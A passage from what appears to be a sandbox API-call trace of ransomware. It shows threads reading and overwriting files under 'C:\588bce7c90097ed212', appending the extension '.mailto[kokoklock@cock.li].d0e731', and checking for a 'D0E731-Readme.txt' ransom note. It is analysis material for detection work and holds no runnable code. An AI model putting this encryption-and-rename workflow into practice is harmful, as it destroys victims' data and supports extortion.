RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x159cdd1f [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x18a3bf12 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xa3144cf [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xa5ba0e3a [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x849f81fe [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x74df63d1 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x7c4a4ad2 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x6153a620 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x8ae8f83 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x2aeecef0 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xce41c41d [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xb0301d9e [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x2c01d6e [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x5500e1c3 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x58b82661 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x49c5704f [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xe2897cdf [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x549b7c08 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x5b60daeb [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x30248b36 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x1ef3623b [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x8d538370 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xe71b640f [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x586275be [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xc0f1fac8 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0x80321158 [0166.462] RtlRandom (in: Seed=0x996fbd4 | out: Seed=0x996fbd4) returned 0xec0fff65 [0166.471] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4528 [0166.473] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.473] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.473] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.473] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.473] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x996fba0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x996fba0*=0x4096, lpOverlapped=0x0) returned 1 [0166.474] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.475] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4078 [0166.475] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.475] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x996fba0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x996fba0*=0x4096, lpOverlapped=0x0) returned 1 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.475] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x14286, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.475] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x996fbd8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4078*, lpNumberOfBytesWritten=0x996fbd8*=0x20, lpOverlapped=0x0) returned 1 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4078) returned 1 [0166.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.475] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x996fbec*=0x8, lpOverlapped=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x528, lpBuffer=0x996fc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x996fc04*, lpNumberOfBytesWritten=0x996fbec*=0x4, lpOverlapped=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x996fbec*=0x4, lpOverlapped=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x996fbec*=0x6c, lpOverlapped=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x996fbec*=0x20, lpOverlapped=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x996fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x996fbec*=0x4, lpOverlapped=0x0) returned 1 [0166.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4528) returned 1 [0166.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.476] CloseHandle (hObject=0x528) returned 1 [0166.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.476] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.476] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.476] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.478] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.478] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.478] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.479] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0166.479] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" [0166.479] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\d0e731-readme.txt")) returned 0x20 [0166.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cb88) returned 1 [0166.479] RtlExitUserThread (Status=0x1) Thread: id = 1620 os_tid = 0x590 [0166.481] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.483] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.483] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x99efc94 | out: lpFileSize=0x99efc94*=3238) returned 1 [0166.483] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xca2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.483] ReadFile (in: hFile=0x528, lpBuffer=0x99efc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x99efc68*, lpNumberOfBytesRead=0x99efc64*=0x4, lpOverlapped=0x0) returned 1 [0166.485] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4528 [0166.485] NtQuerySystemTime (in: CurrentTime=0x99efc40 | out: CurrentTime=0x99efc40*=132121213237979769) returned 0x0 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x46c0c96e [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xc1093d12 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xbf100bb7 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x227d0efe [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xeb532075 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xd4b594cb [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xf068f44c [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xd8756495 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xef8fbf53 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x53d247b9 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x7553d396 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xb8b1f9ba [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x3ef38d1c [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x45db0c1d [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x41b1bc1c [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x400685a0 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x97e70ec0 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x4d381668 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x911880d3 [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x280f758a [0166.485] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x8403a931 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x2c2173fb [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x28c1930d [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x4bd7c8c8 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x86b00b37 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xfe83be99 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xf3ec2757 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xcc46f [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xb31051e [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xe9779d52 [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0xbefbf5df [0166.486] RtlRandom (in: Seed=0x99efc4c | out: Seed=0x99efc4c) returned 0x9b8834e5 [0166.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4078 [0166.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.497] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xca6, lpNumberOfBytesRead=0x99efc40, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x99efc40*=0xca6, lpOverlapped=0x0) returned 1 [0166.497] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x99efc08 | out: lpNewFilePointer=0x0) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xca6, lpNumberOfBytesWritten=0x99efc3c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x99efc3c*=0xca6, lpOverlapped=0x0) returned 1 [0166.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe40a0 [0166.498] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x2fe40a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x99efc38, lpOverlapped=0x0 | out: lpBuffer=0x2fe40a0*, lpNumberOfBytesWritten=0x99efc38*=0x20, lpOverlapped=0x0) returned 1 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe40a0) returned 1 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x2fe4078*, lpNumberOfBytesWritten=0x99efc64*=0x8, lpOverlapped=0x0) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x99efc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x99efc7c*, lpNumberOfBytesWritten=0x99efc64*=0x4, lpOverlapped=0x0) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x99efc64*=0x4, lpOverlapped=0x0) returned 1 [0166.498] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x99efc64*=0x6c, lpOverlapped=0x0) returned 1 [0166.499] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x99efc64*=0x20, lpOverlapped=0x0) returned 1 [0166.499] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x99efc64*=0x4, lpOverlapped=0x0) returned 1 [0166.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4078) returned 1 [0166.499] CloseHandle (hObject=0x528) returned 1 [0166.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.499] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.499] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.499] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.500] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.500] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.500] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.500] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0166.500] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" [0166.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\d0e731-readme.txt")) returned 0x20 [0166.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4da8) returned 1 [0166.501] RtlExitUserThread (Status=0x1) Thread: id = 1621 os_tid = 0x488 [0166.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.502] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.503] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9a6fb34 | out: lpFileSize=0x9a6fb34*=79488) returned 1 [0166.503] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1367c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.503] ReadFile (in: hFile=0x528, lpBuffer=0x9a6fb08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9a6fb04, lpOverlapped=0x0 | out: lpBuffer=0x9a6fb08*, lpNumberOfBytesRead=0x9a6fb04*=0x4, lpOverlapped=0x0) returned 1 [0166.504] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.504] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.504] NtQuerySystemTime (in: CurrentTime=0x9a6fae0 | out: CurrentTime=0x9a6fae0*=132121213238135871) returned 0x0 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x432d0e8b [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xd86c748 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xd0dc4826 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x17db94a1 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xf006547 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x779d100a [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x70baa122 [0166.504] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xaad1d38b [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x1fb9e303 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xaba3a150 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xed5e713c [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x401ed0f4 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xc8c0329e [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x8a9604eb [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xff142ee0 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xf6abd9f5 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x10b13780 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0xaff2edfe [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 0x3d2fe6c2 [0166.505] RtlRandom (in: Seed=0x9a6faec | out: Seed=0x9a6faec) returned 